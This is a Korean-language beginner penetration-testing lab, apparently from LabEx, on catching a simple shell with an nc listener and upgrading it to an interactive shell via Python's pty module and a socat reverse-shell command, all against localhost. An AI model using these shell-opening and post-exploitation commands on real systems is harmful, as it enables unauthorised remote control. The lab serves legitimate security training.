Nmap 에서 단순 셸을 인터랙티브 셸로 업그레이드

Beginner

소개

침투 테스트 분야에서 대상 시스템에 대한 접근 권한을 얻는 것은 종종 셸 (shell) 을 획득하는 것을 포함하며, 이는 단순 셸 (simple shell) 또는 인터랙티브 셸 (interactive shell) 일 수 있습니다. 단순 셸은 기능이 제한적이며 인터랙티브 기능이 부족한 반면, 인터랙티브 셸은 더 강력하고 사용자 친화적인 환경을 제공합니다. 이 랩 (lab) 은 단순 셸과 인터랙티브 셸의 차이점을 탐구하고, 단순 셸을 인터랙티브 셸로 업그레이드하는 과정을 안내하는 것을 목표로 합니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 90%입니다.학습자들로부터 96%의 긍정적인 리뷰율을 받았습니다.

단순 셸 이해

이 단계에서는 단순 셸의 개념과 그 제한 사항을 살펴보겠습니다. 단순 셸은 일반적으로 원격 명령 실행 취약점 (remote command execution vulnerabilities) 또는 기타 익스플로잇 기술을 통해 획득됩니다. 대상 시스템에서 명령을 실행할 수 있지만, 사후 익스플로잇 단계 (post-exploitation phase) 를 방해할 수 있는 몇 가지 필수 기능이 부족합니다.

  1. 먼저, 터미널 창을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
  2. 대상 시스템에서 단순 셸을 획득하는 과정을 시뮬레이션하기 위해, nc 명령을 사용하여 포트 5911에서 리스너 (listener) 를 설정해야 합니다.

    nc -lnvp 5911

    예상 출력:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911 ...

    이 터미널 창은 단순 셸 연결을 위한 리스너 역할을 합니다.

  3. 다른 터미널 창을 열고 /home/labex/project 디렉토리로 이동하면 홈 디렉토리에 exploit.sh 파일이 있는 것을 볼 수 있습니다. 이 파일은 대상 시스템에서 단순 셸을 획득하는 데 사용할 수 있는 원격 명령 실행 익스플로잇을 시뮬레이션합니다.

    cd /home/labex/project

    exploit.sh 스크립트를 실행하여 포트 5911의 리스너에 연결하고 대상 시스템에서 단순 셸을 획득합니다.

    ./exploit.sh

    예상 출력:

    labex:project/ $ ./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911

    이 스크립트는 포트 5911의 리스너에 연결하여 대상 시스템에서 단순 셸을 제공합니다.

  4. 리스너를 설정한 터미널 창으로 돌아가면 대상 시스템과의 연결이 설정된 것을 볼 수 있습니다.

    예시 출력:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911 ...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |

    whoamilsb_release -a와 같은 명령을 실행하여 단순 셸을 획득했는지 확인할 수 있습니다. 그러나 단순 셸에는 적절한 명령 프롬프트, 탭 완성 (tab completion), su 또는 ssh와 같은 인터랙티브 명령을 사용할 수 있는 기능과 같은 특정 기능이 부족하다는 것을 알 수 있습니다.

Python 을 이용한 인터랙티브 셸로 업그레이드

단순 셸을 인터랙티브 셸로 업그레이드하는 한 가지 방법은 Python 의 pty 모듈을 사용하는 것입니다. 이 모듈을 사용하면 의사 터미널 (pseudo-terminal, pts) 을 생성할 수 있습니다.

  1. 먼저, 다음 명령을 실행하여 대상 시스템에 Python 이 설치되어 있는지 확인합니다.

    which python
  2. Python 을 사용할 수 있는 경우, 다음 명령을 사용하여 의사 터미널을 생성할 수 있습니다.

    python -c 'import pty; pty.spawn("/bin/bash");'

    이 명령은 의사 터미널 지원을 통해 새로운 인터랙티브 셸을 생성하여 sussh와 같은 명령을 문제없이 실행할 수 있도록 합니다.

    예시 출력:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
  3. 새 셸이 의사 터미널인지 확인하기 위해 tty 명령을 실행하고 출력을 파일로 리디렉션할 수 있습니다.

    tty > /home/labex/project/shell.txt

    shell.txt 파일의 내용을 확인하여 셸이 의사 터미널 (pts) 인지 확인합니다.

    cat /home/labex/project/shell.txt

    예시 출력:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5

그러나 Python 의사 터미널은 단순 셸의 몇 가지 제한 사항을 해결하지만, 탭 완성, 기록 탐색 (history navigation), vim 또는 vi와 같은 텍스트 편집기에 대한 적절한 지원과 같은 특정 기능이 여전히 부족합니다.

PS: exit를 입력하거나 Ctrl+D를 눌러 의사 터미널 셸에서 로그아웃할 수 있습니다.

Socat 을 이용한 완전한 인터랙티브 셸로 업그레이드

보다 포괄적인 솔루션을 위해, socat 유틸리티를 사용하여 탭 완성, 기록 탐색 (history navigation), 텍스트 편집기 호환성을 포함한 모든 기능을 지원하는 완전한 인터랙티브 셸을 얻을 수 있습니다.

먼저, 다음 명령을 실행하여 대상 시스템에 socat이 설치되어 있는지 확인합니다.

which socat

socat을 사용할 수 있는 경우, 다음 단계를 따르세요.

  1. 새 터미널 창을 열고 다음 socat 명령을 사용하여 포트 5912에서 리스너를 시작합니다.

    socat file:$(tty),raw,echo=0 tcp-listen:5912

    연결이 설정될 때까지 기다립니다.

  2. 단순 셸에서 다음 명령을 실행하여 리스너에 연결하고 셸을 완전한 인터랙티브 셸로 업그레이드합니다.

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
  3. 리스너를 설정한 터미널 창으로 돌아가면 대상 시스템과의 연결이 설정된 것을 볼 수 있습니다. 이제 일반 터미널 세션에서 기대할 수 있는 모든 기능을 갖춘 완전한 인터랙티브 셸을 갖게 됩니다.

    예시 출력:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$

cat, ssh, vim과 같은 명령을 사용하고 위쪽 및 아래쪽 화살표 키를 사용하여 명령 기록을 탐색하여 새 인터랙티브 셸을 테스트합니다.

요약

이 랩에서는 침투 테스트 (penetration testing) 의 맥락에서 단순 셸과 인터랙티브 셸의 개념을 탐구했습니다. 단순 셸의 제한 사항과 효율적인 후 - 익스플로잇 (post-exploitation) 활동을 위해 인터랙티브 셸로 업그레이드하는 것의 중요성에 대해 배웠습니다. 단순 셸을 업그레이드하는 두 가지 방법을 다루었습니다. Python 의 pty 모듈을 사용하여 의사 터미널을 생성하는 방법과, socat 유틸리티를 사용하여 필요한 모든 기능을 갖춘 완전한 인터랙티브 셸을 얻는 방법입니다. 이러한 기술을 연습함으로써, 단순 셸이 제기하는 문제를 극복하고 후 - 익스플로잇 노력을 간소화하여 향후 침투 테스트 참여에 도움이 될 귀중한 기술을 습득했습니다.